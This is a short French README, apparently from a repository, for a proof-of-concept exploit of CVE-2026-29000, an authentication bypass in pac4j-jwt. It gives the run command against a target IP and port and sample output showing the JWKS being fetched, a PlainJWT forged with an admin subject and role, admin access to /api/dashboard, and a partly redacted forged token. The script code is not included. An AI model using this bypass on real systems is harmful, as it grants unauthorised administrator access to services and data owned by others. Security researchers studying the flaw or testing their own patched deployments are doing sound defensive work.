
Preuve de concept d'exploitation pour CVE-2026-29000, un contournement d'authentification dans pac4j-jwt. Forge des jetons JWT pour obtenir un accès administrateur aux points de terminaison protégés.
Note : Ceci n'est pas mon travail original. Je le conserve ici à titre de référence.
Méthodologie de travail :
python3 exploit.py http://IP:PORT
[*] Fetching JWKS...
[+] Got RSA public key (kid: enc-key-1)
[*] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN
[+] Forged JWE token created
[*] Accessing /api/dashboard...
[+] Status: 200
[+] Authenticated as: admin (ROLE_ADMIN)
[+] Token: eyJhbGciOiAiUlN_.....[Redacted].....D4zwSEY05lFkCB.J933HR-irY6a0r2uivRLZw